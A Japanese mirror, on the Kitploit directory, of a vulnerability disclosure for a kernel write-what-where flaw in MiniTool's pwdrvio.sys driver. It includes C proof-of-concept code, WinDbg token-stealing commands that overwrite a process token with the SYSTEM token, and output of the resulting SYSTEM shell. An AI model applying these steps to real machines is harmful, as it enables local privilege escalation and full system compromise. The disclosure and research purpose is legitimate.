Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-36981-Kernel-EoP-PoC — プロジェクト日付: 2026年2月 / MiniToolのカーネルドライバ内のメモリ破壊の脆弱性。デバッガ支援による任意のカーネル書き込みプリミティブを示し、権限昇格に悪用される可能性があります。 | Kitploit
ツール/GitHubGitHub/canomer/cve-2026-36981-kernel-eop-poc
特権昇格脆弱性分析エクスプロイトデバッガファジングマルウェア分析バイナリエクスプロイト
GitHubcanomer/cve-2026-36981-kernel-eop-poc

CVE-2026-36981-Kernel-EoP-PoC

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

プロジェクト日付: 2026年2月 / MiniToolのカーネルドライバ内のメモリ破壊の脆弱性。デバッガ支援による任意のカーネル書き込みプリミティブを示し、権限昇格に悪用される可能性があります。

リポジトリを見る
23ヶ月前未レビュー

CVE-2026-36981-Kernel-EoP-PoC

MiniTool のカーネルドライバ pwdrvio.sys 内におけるカーネル write-what-where 状態。特権昇格に悪用可能なデバッガ支援型の任意カーネル書き込みプリミティブを実証します。

  • 2026-02-09 ベンダーに通知
  • 2026-03-05 ベンダーが確認
  • 2026-03-05 MITRE に CVE を申請
  • 2026-05-10 90日間の調整開示期間を経て公開

https://github.com/user-attachments/assets/ac81d7ce-0be7-40a5-9334-c54350e6e30e

任意カーネル書き込み → ローカル特権昇格 (LPE) 深刻度: 高
CVSS 3.1 スコア: 7.8 (LPE) CVSS ベクター文字列:

  • LPE: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

    • 特権昇格に悪用可能なデバッガ支援型の任意カーネル書き込みプリミティブ。
    • ドライバオフセット 0x1641 の write-what-where プリミティブを介して悪用可能
    • 確実な悪用にはカーネルデバッグツールが必要
    • Windows 10 Build 19045.6466 で確認済み

攻撃の前提条件:

  • 対象システムへのローカルアクセス
  • 標準ユーザーアカウント (管理者以外)
  • MiniTool がインストール済みまたはアンインストール済み (pwdrvio.sys ドライバが読み込まれている)

悪用結果: LPE - デバッガ支援型の特権昇格を実証 (NT AUTHORITY / SYSTEM)、システム全体の完全な侵害

脆弱性発見のタイムライン

初期ファジングと BSOD の発見

日付: 2026年2月5日
活動: カスタム Python ファザーを使用した体系的なカーネルドライバのファジング

発見プロセス:

  1. ターゲットの選択:

    • Windows 10 VM 上でインストール済みのカーネルドライバを列挙
    • pwdrvio.sys を最古のドライバとして特定 (タイムスタンプ: 2009年6月16日)
    • ドライバファイル: C:\Windows\System32\drivers\pwdrvio.sys
    • デバイスオブジェクト: \\.\PartitionWizardDiskAccesser\0
  2. 初期ファジング:

    • ctypes を使用してドライバとインターフェースする Python ファザーを開発
    • WriteFile/DeviceIoControl を介してドライバデバイスにランダムデータを送信
    • 結果: 複数のブルースクリーン (BSOD) が発生
  3. Verifier の有効化:

    • クラッシュ検出を強化するため Driver Verifier を有効化 ```cmd verifier /standard /driver pwdrvio.sys
    root@kitploit:~

Verifier 設定: ``` Verifier Flags: 0x001209bb Standard Flags Enabled: [X] Special pool [X] Force IRQL checking
[X] Pool tracking [X] I/O verification [X] Deadlock detection [X] DMA checking [X] Security checks [X] Miscellaneous checks [X] DDI compliance checking

root@kitploit:~
### WinDbg カーネルデバッグのセットアップ
**日付:** 2026年2月5日〜6日  
**アクティビティ:** 根本原因分析のためのカーネルデバッグ環境を構築

**セットアップ手順:**

1. **VMwareシリアルポートの設定:**   ```
VMware Workstation Pro → VM Settings
├─ Add Hardware → Serial Port
├─ Connection: "Use named pipe"
├─ Path: \\.\pipe\com_1
├─ End: "This is the server"
└─ I/O Mode: "Yield CPU on poll" ✓
  1. ゲストOSの設定: ```cmd REM Administrator Command Prompt bcdedit /debug on bcdedit /dbgsettings serial debugport:1 baudrate:115200 shutdown /r /t 0

    root@kitploit:~
  2. ホスト WinDbg 接続: ``` WinDbg → File → Attach to Kernel ├─ Port: \.\pipe\com_1 ├─ Baud Rate: 115200 ├─ Pipe: ✓ └─ Reconnect: ✓

    Result: "Kernel Debugger connection established."

    root@kitploit:~

根本原因分析 - 任意写入漏洞发现

日期: 2026年2月6日
活动: 识别出任意内核写入原语

分析步骤:

  1. 模块分析: ``` 1: kd> lm m pwdrvio start end module name fffff805315f0000 fffff805315f8000 pwdrvio (Jun 16 2009)

    1: kd> !drvobj pwdrvio 2 Driver object (fffff805`XXXXXXXX) is for: \Driver\pwdrvio

    DriverEntry: fffff805315f6008 DriverUnload: fffff805315f1060

    Dispatch Routines: [00] IRP_MJ_CREATE fffff805315f108c [02] IRP_MJ_CLOSE fffff805315f12f8 [03] IRP_MJ_READ fffff805315f16c4 [04] IRP_MJ_WRITE fffff805315f1564 ← Target [0e] IRP_MJ_DEVICE_CONTROL fffff805`315f1404

    root@kitploit:~
  2. 脆弱な命令の発見:

    書き込みハンドラにブレークポイントを設定: ``` 1: kd> bp pwdrvio+0x1641 1: kd> g

    Breakpoint 0 hit pwdrvio+0x1641: fffff805`315f1641 498943f0 mov qword ptr [r11-10h],rax

    root@kitploit:~

重大な発見: 任意書き込みプリミティブが特定されました!

  • 命令はカーネルポインタ(RAX)をアドレス[R11-0x10]に書き込みます
  • R11はスタックフレームからロードされます: mov r11, qword ptr [rbp+0xB8h]
  • 宛先アドレスに対する検証は実行されていません
  1. レジスタ状態の分析: ``` 0: kd> r rax=fffff805315f1364 ← Kernel code pointer r11=ffffe60f84c38750 ← Destination address (controlled via stack) rbp=ffffe60f84c38610 ← IRP stack frame

    0: kd> dq @rbp+0xB8 L1 ffffe60f84c386c8 ffffe60f84c38750 ← R11 loaded from here

    root@kitploit:~

UAFから任意書き込みへの解析

日付: 2026年2月6日〜7日
活動: Use-After-Freeからwrite-what-where条件までの脆弱性を追跡

メモリ破壊チェーン:

  1. IRP割り当て: ``` 0: kd> !pool @rbp Pool page ffffe60f84c38610 region is Special pool *ffffe60f84c38000 size: 1f0 data: ffffe60f84c38e10 (NonPaged) *Irp+ Pooltag Irp+ : I/O verifier allocated IRP packets

    root@kitploit:~
  2. バッファの関係: ``` 0: kd> r rsi rsi=ffffe60f828df900 ← User buffer location

    0: kd> ? @rbp - @rsi Evaluate expression: 35823344 = 00000000`02229ef0 ← 35MB difference!

    root@kitploit:~

分析: ユーザーバッファはRBPフレームから直接アクセスできない

  • RBPはカーネルプール内のIRP構造体を指している
  • ユーザーバッファは別のメモリ領域にある
  • RBP+0xB8オフセットはユーザー制御のバッファを指していない
  1. Use-After-Free状態:

    ドライバはIRP構造体内にダングリングポインタを保持している: ```c // Ghidra decompilation (pwdrvio+0x1564) longlong lVar1 = *(longlong *)(param_2 + 0xb8); // Load from IRP

    // No validation! lVar5 = IoBuildAsynchronousFsdRequest(...);

    // Write to [lVar1 - 0x10] *(code **)(lVar3 + -0x10) = FUN_00011364; // Arbitrary write!

    root@kitploit:~

ローカル権限昇格の開発

日付: 2026年2月7日〜8日
活動: トークンスティーリング技術の開発

悪用戦略:

目的: 現在のプロセストークンをSYSTEMトークンで上書きする

Windows EPROCESS構造:``` +0x000 Pcb : _KPROCESS ... +0x4b8 Token : _EX_FAST_REF ← Token pointer location

root@kitploit:~
**トークン窃取手順:**

1. **SYSTEMプロセスを特定する:**   ```
   0: kd> !process 4 0
   PROCESS ffffe7875ac86200
       SessionId: none  Cid: 0004    Peb: 00000000
       Image: System
   
   0: kd> dq ffffe7875ac86200+4b8 L1
   ffffe787`5ac866b8  ffffc08e`6642f04f  ← SYSTEM token value
  1. 攻撃者プロセスを特定する: ``` 0: kd> !process 0 0 poc1.exe PROCESS ffffe78760150080 SessionId: 1 Cid: 0678 Image: poc1.exe

    0: kd> dq ffffe78760150080+4b8 L1 ffffe78760150538 ffffc08e6c37a066 ← Standard user token

    root@kitploit:~
  2. ターゲットアドレスの計算: ``` Target = TokenPointer + 0x10 = 0xffffe78760150538 + 0x10 = 0xffffe78760150548

    Reason: Instruction uses [R11-0x10], so: (Target + 0x10) - 0x10 = Target

    root@kitploit:~
  3. トークン上書きの実行: ``` 0: kd> r rax = ffffc08e6642f04f ; SYSTEM token 0: kd> r r11 = ffffe78760150548 ; Target address 0: kd> p ; Execute: mov [r11-10h],rax

    0: kd> dq ffffe78760150538 L1 ; Verify ffffe78760150538 ffffc08e6642f04f ← Token successfully changed!

    root@kitploit:~
  4. 実行の復元: ``` 0: kd> r rip = pwdrvio + 165f ; Skip to safe return 0: kd> r eax = 0 ; Return success 0: kd> bc * ; Clear breakpoints 0: kd> g ; Continue execution

    root@kitploit:~

結果: プロセスがSYSTEM権限を取得しました!

脆弱性 #1: LPEにつながる任意カーネル書き込み

CWE分類

  • CWE-787: 領域外書き込み
  • CWE-123: Write-what-where条件
  • CWE-782: 不十分なアクセス制御で公開されたIOCTL

脆弱性の詳細

場所: pwdrvio.sys オフセット 0x1641
アセンブリ:```assembly pwdrvio+0x1633: mov r11, qword ptr [rbp+0xB8h] ; Load pointer from IRP pwdrvio+0x1641: mov qword ptr [r11-10h], rax ; Arbitrary write!

root@kitploit:~
**トリガーメカニズム:**```c
HANDLE hDevice = CreateFileA("\\\\.\\PartitionWizardDiskAccesser\\0",
                            GENERIC_READ | GENERIC_WRITE,
                            0, NULL, OPEN_EXISTING, 0, NULL);

char buffer[0x100];
DWORD bytesReturned;
WriteFile(hDevice, buffer, 0x100, &bytesReturned, NULL);

悪用の制限事項:

この脆弱性は、確実な悪用のためにカーネルデバッグツールが必要です。その理由は以下のとおりです。

  1. レジスタ制御の課題:

    • 宛先レジスタ R11 は [RBP+0xB8] からロードされる
    • RBP はカーネルプール内の IRP スタックフレームを指す
    • ユーザーバッファは異なるメモリ領域にある(35MB 以上のオフセット)
    • ユーザーバッファから [RBP+0xB8] を直接制御することはできない
  2. プールメモリレイアウト: ``` RBP (IRP frame): 0xffffe60f84c38610 User buffer: 0xffffe60f828df900 Difference: 35,823,344 bytes (35 MB)

    root@kitploit:~
  3. 必要な手動介入:

    • デバッガーを介してR11レジスタをターゲットアドレスに設定
    • RAXレジスタをSYSTEMトークン値に設定
    • 命令を実行
    • 実行フローを復元

CVSS 3.1スコア: 7.8 (高)

メトリクス:

  • 攻撃ベクトル (AV): ローカル - ローカルシステムアクセスが必要
  • 攻撃複雑性 (AC): 低 - 特別な条件は不要
  • 必要な権限 (PR): 低 - 標準ユーザーで十分
  • ユーザー操作 (UI): なし - ユーザー操作は不要
  • スコープ (S): 変更なし - 同じセキュリティ権限
  • 機密性 (C): 高 - ファイルシステムへの完全なアクセス
  • 完全性 (I): 高 - システムの完全な変更
  • 可用性 (A): 高 - システムのクラッシュまたは無効化が可能

完全なコードと悪用

コード:``` C #include <windows.h> #include <stdio.h>

int main() { HANDLE hDevice; DWORD bytesReturned; char buffer[0x100];

root@kitploit:~
printf("[*] MiniTool PoC Trigger...\n");
printf("[*] Current User: "); system("whoami");

// 1. Connect to the Driver
hDevice = CreateFileA("\\\\.\\PartitionWizardDiskAccesser\\0", 
                      GENERIC_READ | GENERIC_WRITE, 
                      0, NULL, OPEN_EXISTING, 0, NULL);

if (hDevice == INVALID_HANDLE_VALUE) {
    printf("[-] Cannot Open Driver! Error: %d\n", GetLastError());
    return 1;
}

printf("[+] Connected. WinDbg - BP 1641.\n");
printf("[!] WinDbg - Token Change - 'g'.\n");

getchar(); // Breakpoint of WinDbg

// 2. Trigger the Vulnerability (Sending Random Data to Driver)
WriteFile(hDevice, buffer, 0x100, &bytesReturned, NULL);

printf("[*] Completed. SYSTEM Shell Opening...\n");

// 3. If we token is changed - SYSTEM Shell
system("whoami && cmd.exe");

return 0;

}

root@kitploit:~
**コンパイル方法:**
* Linux上のMinGW```
┌──(PC㉿PC)-[/dir]
└─$ x86_64-w64-mingw32-gcc LPE_PoC.c -o LPE_PoC.exe -lntdll -static

WinDbg プロセス:

  • ブレークポイントがトリガーされたとき``` 1: kd> bp pwdrvio+0x1641 1: kd> g Breakpoint 0 hit Unable to load image pwdrvio.sys, Win32 error 0n2 pwdrvio+0x1641: fffff805`315f1641 498943f0 mov qword ptr [r11-10h],rax 1: kd> !process 0 0 poc1.exe PROCESS ffff9d8f6401f080 SessionId: 1 Cid: 1948 Peb: 27a2a7000 ParentCid: 16ac DirBase: 1b2528000 ObjectTable: ffffc2093fb93140 HandleCount: 58. Image: poc1.exe

1: kd> dq ffff9d8f6401f080+4b8 L1 ffff9d8f6401f538 ffffc20940117738 1: kd> dq ffff9d8f6401f538 L1 ffff9d8f6401f538 ffffc20940117738 1: kd> !process 4 0 Searching for Process with Cid == 4 PROCESS ffff9d8f5f069040 SessionId: none Cid: 0004 Peb: 00000000 ParentCid: 0000 DirBase: 001aa000 ObjectTable: ffffc2093447ac40 HandleCount: 2517. Image: System

1: kd> dq ffff9d8f5f069040+4b8 L1 ffff9d8f5f0694f8 ffffc2093441d8df 1: kd> r rax = ffffc2093441d8df 1: kd> r r11 = ffff9d8f6401f538 + 10 1: kd> p pwdrvio+0x1645: fffff805315f1645 488d442440 lea rax,[rsp+40h] 1: kd> dq ffff9d8f6401f538 L1 ffff9d8f6401f538 ffffc209`3441d8df 1: kd> r rip = pwdrvio + 0x165f 1: kd> r eax = 0 1: kd> bc * 1: kd> g

root@kitploit:~
**ターミナル出力:**``` PowerShell
PS C:\Users\standarduser\directory> whoami # Standard User Identification
PC\standarduser
PS C:\Users\standarduser\directory> whoami /priv # Standard User Privs

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                        State
============================= ================================== ========
SeShutdownPrivilege           Sistemi kapat                      Disabled
SeChangeNotifyPrivilege       Çapraz geçiş denetimini atla       Enabled
SeUndockPrivilege             Bilgisayarı takma biriminden çıkar Disabled
SeIncreaseWorkingSetPrivilege İşlem çalışma kümesini artır       Disabled
SeTimeZonePrivilege           Saat dilimini değiştir             Disabled

PS C:\Users\standarduser\directory> whoami /groups # Standard User Groups

GROUP INFORMATION
-----------------

Group Name                                                Type             SID          Attributes                      
========================================================= ================ ============ ==================================================
Everyone                                                  Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Yerel hesap ve Administrators grubunun üyesi Well-known group S-1-5-114    Group used for deny only        
BUILTIN\Administrators                                    Alias            S-1-5-32-544 Group used for deny only        
BUILTIN\Users                                             Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\INTERACTIVE                                  Well-known group S-1-5-4      Mandatory group, Enabled by default, Enabled group
KONSOL OTURUMU AÇMA                                       Well-known group S-1-2-1      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users                          Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization                            Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Yerel hesap                                  Well-known group S-1-5-113    Mandatory group, Enabled by default, Enabled group
LOCAL                                                     Well-known group S-1-2-0      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication                          Well-known group S-1-5-64-10  Mandatory group, Enabled by default, Enabled group
Zorunlu Etiket\Orta Zorunlu Düzey                         Label            S-1-16-8192                                  
PS C:\Users\standarduser\directory>

PS C:\Users\standarduser\directory> .\poc1.exe # PoC Execution
[*] MiniTool PoC Tetikleyici Baslatiliyor...
[*] Mevcut Kullanici: desktop-usp1rvs\kali
[+] Surucu baglantisi basarili. WinDbg'da BP 1641 bekleyin.
[!] WinDbg'da Token'i degistirdikten sonra 'g' deyin.

[*] Islem tamamlandi. SYSTEM Shell acilmaya calisiliyor...
nt authority\system
Microsoft Windows [Version 10.0.19045.3803]
(c) Microsoft Corporation. Tüm hakları saklıdır.

C:\Users\standarduser\directory>whoami # Elevated User Identification
nt authority\system

C:\Users\standarduser\directory>whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                            Description                                                                     State
========================================= =============================================================================== ========
SeCreateTokenPrivilege                    Belirteç nesnesi oluştur                                                        Disabled
SeAssignPrimaryTokenPrivilege             İşlem düzeyi belirtecini değiştir                                               Disabled
SeLockMemoryPrivilege                     Sayfaları bellekte kilitle                                                      Enabled
SeIncreaseQuotaPrivilege                  İşlem için bellek kotaları ayarla                                               Disabled
SeTcbPrivilege                            İşletim sisteminin parçası gibi davran                                          Enabled
SeSecurityPrivilege                       Denetimi ve güvenlik günlüğünü yönet                                            Disabled
SeTakeOwnershipPrivilege                  Dosyaların veya diğer nesnelerin sahipliğini al                                 Disabled
SeLoadDriverPrivilege                     Aygıt sürücüleri yükle ve kaldır                                                Disabled
SeSystemProfilePrivilege                  Sistem performansı profili oluştur                                              Enabled
SeSystemtimePrivilege                     Sistem saatini değiştir                                                         Disabled
SeProfileSingleProcessPrivilege           Tek işlem profili oluştur                                                       Enabled
SeIncreaseBasePriorityPrivilege           Zamanlama önceliğini artır                                                      Enabled
SeCreatePagefilePrivilege                 Disk belleği dosyası oluştur                                                    Enabled
SeCreatePermanentPrivilege                Kalıcı paylaşılan nesneler oluştur                                              Enabled
SeBackupPrivilege                         Dosya ve dizinleri yedekle                                                      Disabled
SeRestorePrivilege                        Dosya ve dizinleri geri yükle                                                   Disabled
SeShutdownPrivilege                       Sistemi kapat                                                                   Disabled
SeDebugPrivilege                          Programların hatalarını ayıkla                                                  Enabled
SeAuditPrivilege                          Güvenlik denetimleri oluştur                                                    Enabled
SeSystemEnvironmentPrivilege              Üretici yazılımı ortam değerlerini değiştir                                     Disabled
SeChangeNotifyPrivilege                   Çapraz geçiş denetimini atla                                                    Enabled
SeUndockPrivilege                         Bilgisayarı takma biriminden çıkar                                              Disabled
SeManageVolumePrivilege                   Birim bakım görevleri gerçekleştir                                              Disabled
SeImpersonatePrivilege                    Kimlik doğrulamasından sonra istemcinin özelliklerini al                        Enabled
SeCreateGlobalPrivilege                   Genel nesneler oluştur                                                          Enabled
SeTrustedCredManAccessPrivilege           Kimlik Bilgileri Yöneticisi'ne güvenilen arayan olarak eriş                     Disabled
SeRelabelPrivilege                        Nesne etiketini değiştir                                                        Disabled
SeIncreaseWorkingSetPrivilege             İşlem çalışma kümesini artır                                                    Enabled
SeTimeZonePrivilege                       Saat dilimini değiştir                                                          Enabled
SeCreateSymbolicLinkPrivilege             Simgesel bağlantılar oluştur                                                    Enabled
SeDelegateSessionUserImpersonatePrivilege Aynı oturumdaki farklı bir kullanıcı için bir kimliğe bürünme belirteci edinin. Enabled

C:\Users\standarduser\directory>whoami /groups

GROUP INFORMATION
-----------------

Group Name                           Type             SID          Attributes
==================================== ================ ============ ==================================================
BUILTIN\Administrators               Alias            S-1-5-32-544 Enabled by default, Enabled group, Group owner
Everyone                             Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users     Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
Zorunlu Etiket\Sistem Zorunlu Düzeyi Label            S-1-16-16384

概念実証と再現手順

前提条件

テスト環境:

  • オペレーティングシステム: Windows 10 Home Build 19045.6466
  • アーキテクチャ: x64
  • MiniTool バージョン: Partition Wizard 13.5
  • ドライバ: pwdrvio.sys(2009年6月16日付)
  • ユーザーアカウント: 標準ユーザー(管理者以外)

必要なツール:

  • LPE 用: WinDbg(Windows デバッガー)、VMware Workstation

再現 #2: ローカル権限昇格(WinDbg 支援)

ステップ 1: カーネルデバッグ環境のセットアップ

A. VMware の設定

  1. VMware Workstation Pro で VM 設定を開く
  2. ハードウェアの追加 → シリアルポート
  3. 設定:
    • 接続: 「名前付きパイプを使用」
    • 名前付きパイプ: \\.\pipe\com_1
    • 終端: 「これはサーバーです」
    • 相手側: 「アプリケーション」
    • I/O モード: ✓ ポーリング時に CPU を譲る
  4. 保存して VM を起動

B. ゲスト OS の設定```cmd REM Administrator Command Prompt in VM C:> bcdedit /debug on The operation completed successfully.

C:> bcdedit /dbgsettings serial debugport:1 baudrate:115200 The operation completed successfully.

C:> bcdedit /dbgsettings debugtype Serial debugport 1 baudrate 115200

C:> shutdown /r /t 0

root@kitploit:~
**C. ホスト側 WinDbg のセットアップ**

1. WinDbg (x64) を開く
2. ファイル → カーネルデバッグ (Ctrl+K)
3. 設定:
   - タブ: COM
   - ポート: `\\.\pipe\com_1`
   - ボーレート: 115200
   - ✓ パイプ
   - ✓ 再接続
4. OK をクリック

接続メッセージを待つ:```
Opened \\.\pipe\com_1
Waiting to reconnect...
Connected to Windows 10 19041 x64 target
Kernel Debugger connection established.

1: kd>

ステップ2: 概念実証のコンパイル

lpe_poc.c として保存します:```c #include <windows.h> #include <stdio.h>

int main() { HANDLE hDevice; DWORD bytesReturned; char buffer[0x100];

root@kitploit:~
printf("[*] MiniTool pwdrvio.sys LPE PoC\n");
printf("[*] Current user: ");
system("whoami");

// Open driver
hDevice = CreateFileA("\\\\.\\PartitionWizardDiskAccesser\\0", 
                      GENERIC_READ | GENERIC_WRITE, 
                      0, NULL, OPEN_EXISTING, 0, NULL);

if (hDevice == INVALID_HANDLE_VALUE) {
    printf("[-] Failed to open driver (Error: %d)\n", GetLastError());
    return 1;
}

printf("[+] Driver opened successfully\n");
printf("[!] Waiting for WinDbg manipulation...\n");
printf("[!] Set breakpoint: bp pwdrvio+0x1641\n");
printf("[!] Press ENTER when ready...\n");

getchar();  // Wait for WinDbg setup

// Trigger vulnerability
WriteFile(hDevice, buffer, 0x100, &bytesReturned, NULL);

printf("[*] Exploitation complete\n");
printf("[*] Spawning SYSTEM shell...\n");

// If successful, this CMD will have SYSTEM privileges
system("whoami && cmd.exe");

CloseHandle(hDevice);
return 0;

}

root@kitploit:~
**Linux/WSL でのコンパイル:**```bash
x86_64-w64-mingw32-gcc lpe_poc.c -o lpe_poc.exe -lntdll -static

ステップ3: エクスプロイトの実行

A. VM内でPoCを起動(標準ユーザー)```cmd C:> whoami desktop-lfkkhu2\standard_user

C:> whoami /priv

PRIVILEGES INFORMATION

Privilege Name Description State ============================= ================================== ======== SeShutdownPrivilege Shut down the system Disabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeUndockPrivilege Remove computer from docking Disabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled SeTimeZonePrivilege Change the time zone Disabled

[Limited privileges - no SeDebugPrivilege]

C:> lpe_poc.exe [] MiniTool pwdrvio.sys LPE PoC [] Current user: desktop-lfkkhu2\standard_user [+] Driver opened successfully [!] Waiting for WinDbg manipulation... [!] Set breakpoint: bp pwdrvio+0x1641 [!] Press ENTER when ready...

[WAIT - Do not press ENTER yet]

root@kitploit:~
**B. WinDbg のセットアップと操作**```
1: kd> bp pwdrvio+0x1641
1: kd> g

Now press ENTER in the PoC. WinDbg will break:``` Breakpoint 0 hit pwdrvio+0x1641: fffff802`18b11641 498943f0 mov qword ptr [r11-10h],rax

0: kd> r rax=fffff80218b11364 rbx=0000000000000000 rcx=ffffe78761218e20 rdx=ffffe7875ff72e10 rsi=ffffe7875dd48f20 rdi=0000000000000000 rip=fffff80218b11641 rsp=ffff9f801c707100 rbp=ffffe7875ff72e10 r8=0000000000000001 r9=0000000000000000 r10=0000000000000000 r11=ffffe7875ff72f70 r12=0000000000000001 r13=ffffdf0a0c48ecd0 r14=0000000000000000 r15=ffffe78761218e20

root@kitploit:~
**C. SYSTEMプロセスとトークンの特定**```
0: kd> !process 4 0
Searching for Process with Cid == 4
PROCESS ffffe7875ac86200
    SessionId: none  Cid: 0004    Peb: 00000000  ParentCid: 0000
    DirBase: 001aa000  ObjectTable: ffffc08e66444c80  HandleCount: 2471
    Image: System

0: kd> dq ffffe7875ac86200+4b8 L1
ffffe787`5ac866b8  ffffc08e`6642f04f  ← SYSTEM token value

D. 攻撃者プロセスの特定``` 0: kd> !process 0 0 lpe_poc.exe PROCESS ffffe78760150080 SessionId: 1 Cid: 0678 Peb: a520317000 ParentCid: 14b8 DirBase: 402a29000 ObjectTable: ffffc08e6beb0780 HandleCount: 58 Image: lpe_poc.exe

0: kd> dq ffffe78760150080+4b8 L1 ffffe78760150538 ffffc08e6c37a066 ← Current token (standard user)

root@kitploit:~
**E. トークン上書きの実行**```
0: kd> r rax = ffffc08e6642f04f
0: kd> r r11 = ffffe78760150538 + 10

0: kd> r r11
r11=ffffe78760150548

0: kd> p
pwdrvio+0x1645:
fffff802`18b11645 488d442440      lea rax,[rsp+40h]

0: kd> dq ffffe78760150538 L1
ffffe787`60150538  ffffc08e`6642f04f  ← Token successfully changed!

F. 実行の復元``` 0: kd> r rip = pwdrvio + 165f 0: kd> r eax = 0 0: kd> bc * 0: kd> g

root@kitploit:~
**C. VM 内の権限昇格を検証する**```
[*] Exploitation complete
[*] Spawning SYSTEM shell...
nt authority\system

Microsoft Windows [Version 10.0.19045.6466]

C:\> whoami
nt authority\system

C:\> whoami /priv

PRIVILEGES INFORMATION
----------------------
Privilege Name                            Description                          State
========================================= ==================================== ========
SeCreateTokenPrivilege                    Create a token object                Disabled
SeAssignPrimaryTokenPrivilege             Replace a process level token        Disabled
SeLockMemoryPrivilege                     Lock pages in memory                 Enabled
SeIncreaseQuotaPrivilege                  Adjust memory quotas for a process   Disabled
SeTcbPrivilege                            Act as part of the operating system  Enabled
SeSecurityPrivilege                       Manage auditing and security log     Disabled
SeTakeOwnershipPrivilege                  Take ownership of files/objects      Disabled
SeLoadDriverPrivilege                     Load and unload device drivers       Disabled
SeSystemProfilePrivilege                  Profile system performance           Enabled
SeSystemtimePrivilege                     Change the system time               Disabled
SeProfileSingleProcessPrivilege           Profile single process               Enabled
SeIncreaseBasePriorityPrivilege           Increase scheduling priority         Enabled
SeCreatePagefilePrivilege                 Create a pagefile                    Enabled
SeCreatePermanentPrivilege                Create permanent shared objects      Enabled
SeBackupPrivilege                         Back up files and directories        Disabled
SeRestorePrivilege                        Restore files and directories        Disabled
SeShutdownPrivilege                       Shut down the system                 Disabled
SeDebugPrivilege                          Debug programs                       Enabled  ← SYSTEM!
SeAuditPrivilege                          Generate security audits             Enabled
SeSystemEnvironmentPrivilege              Modify firmware environment values   Disabled
SeChangeNotifyPrivilege                   Bypass traverse checking             Enabled
SeUndockPrivilege                         Remove computer from docking         Disabled
SeManageVolumePrivilege                   Perform volume maintenance tasks     Disabled
SeImpersonatePrivilege                    Impersonate a client after auth      Enabled
SeCreateGlobalPrivilege                   Create global objects                Enabled
SeTrustedCredManAccessPrivilege           Access Credential Manager as trusted Disabled
SeRelabelPrivilege                        Modify an object label               Disabled
SeIncreaseWorkingSetPrivilege             Increase a process working set       Enabled
SeTimeZonePrivilege                       Change the time zone                 Enabled
SeCreateSymbolicLinkPrivilege             Create symbolic links                Enabled
SeDelegateSessionUserImpersonatePrivilege Impersonate other session users      Enabled

C:\> whoami /groups

GROUP INFORMATION
-----------------
Group Name                           Type             SID          Attributes
==================================== ================ ============ =======================================
BUILTIN\Administrators               Alias            S-1-5-32-544 Enabled by default, Enabled, Owner
Everyone                             Well-known group S-1-1-0      Mandatory, Enabled by default, Enabled
NT AUTHORITY\Authenticated Users     Well-known group S-1-5-11     Mandatory, Enabled by default, Enabled
Mandatory Label\System Mandatory Level Label          S-1-16-16384 ← SYSTEM integrity!

MiniTool ソフトウェア:``` Product: MiniTool Partition Wizard Version: 13.5 Installation Path: C:\Program Files\MiniTool Partition Wizard Driver Path: C:\Windows\System32\drivers\pwdrvio.sys Driver Date: June 16, 2009 (0x4A36F8D1) Driver Size: 32,256 bytes

root@kitploit:~
**テストツール:**```
WinDbg Version:        10.0.29507.1001 AMD64
Python Version:        3.x with ctypes
Compiler:              x86_64-w64-mingw32-gcc (MinGW)
Verifier:              Windows Driver Verifier (Standard flags)

影響を受けるバージョン

脆弱性が確認されているバージョン

主要製品:

  • MiniTool Partition Wizard 13.5
  • pwdrvio.sys を使用するすべての以前のバージョン

ドライバー詳細:``` File Name: pwdrvio.sys File Version: [Not available] File Size: 32,256 bytes (31.5 KB) Time Stamp: 0x4A36F8D1 (June 16, 2009, 04:43:45 UTC) Digital Signature: [Signed by vendor] Device Name: \.\PartitionWizardDiskAccesser\0 Service Name: pwdrvio Load Order: Boot Start (SERVICE_BOOT_START)

root@kitploit:~
### 影響を受ける可能性がある製品

同じドライバーを使用する可能性がある他のMiniTool製品:
- MiniTool Power Data Recovery
- MiniTool Partition Wizard Bootable Edition
- MiniTool ShadowMaker

**注記:** 各製品は確認のため個別にテストする必要があります。

### オペレーティングシステムの互換性

**テスト済みで脆弱性が確認された環境:**
- Windows 10 Home Build 19045.6466 (x64)

**理由:** このドライバーはすべての最新Windowsバージョンと互換性があり、バージョン固有のチェックを含んでいません。

## 法的免責事項
このリポジトリは、管理された実験室環境における教育、防御的セキュリティ研究、および脆弱性の再現を目的としてのみ提供されます。
ここに含まれる情報と概念実証コードは、防御者、研究者、およびベンダーが報告された脆弱性を理解し、修正するのに役立つことを意図しています。
明示的な許可なくシステムに対してこのコードを不正にまたは悪意を持って使用することは、該当する法律および規制に違反する可能性があります。
著者は違法行為を奨励または容認せず、この資料によって引き起こされた誤用または損害について一切の責任を負いません。

この脆弱性開示レポートは、以下の目的で提供されます:
1. セキュリティ研究および教育
2. ベンダーへの通知およびパッチ開発
3. エンドユーザーの保護
4. 学術的および防御的セキュリティ目的

**禁止される使用法:**
- コンピュータシステムへの不正アクセス
- 悪意のある悪用
- 違法行為

研究者は、管理された環境において個人所有のシステム上で全テストを実施しました。第三者システムへの不正アクセスは行われていません。

**レポートバージョン:** 1.0  
